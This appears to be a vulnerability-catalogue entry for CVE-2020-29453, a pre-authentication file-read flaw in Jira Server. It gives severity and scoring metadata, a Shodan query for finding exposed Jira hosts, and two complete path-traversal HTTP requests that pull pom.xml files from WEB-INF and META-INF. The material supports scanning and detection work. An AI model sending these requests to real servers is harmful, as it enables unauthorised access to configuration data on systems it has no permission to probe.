| Title | Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF) |
|---|---|
| Author | dwisiswant0 |
| Severity | Medium |
| Impact | An attacker can retrieve sensitive files containing configuration information, potentially leading to further exploitation or unauthorized access. |
| Remediation | Apply the necessary patches or updates provided by Atlassian to fix the vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.80006 |
| CVE ID | CVE-2020-29453 |
| CWE ID | CWE-22 |
| Shodan Query | http.component:"Atlassian Jira"http.component:"atlassian jira" |
| Tags | cve cve2020 atlassian jira lfi intrusive vuln |
The CachingResourceDownloadRewriteRule class in Jira Server and Jira Data Center allowed unauthenticated remote attackers to read arbitrary files within WEB-INF and META-INF directories via an incorrect path access check.
GET /s/38FTZQwYv5vyRuoUFPeN9GOavIg/_/%2e/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /s/38FTZQwYv5vyRuoUFPeN9GOavIg/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-29453.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-29453.pcap
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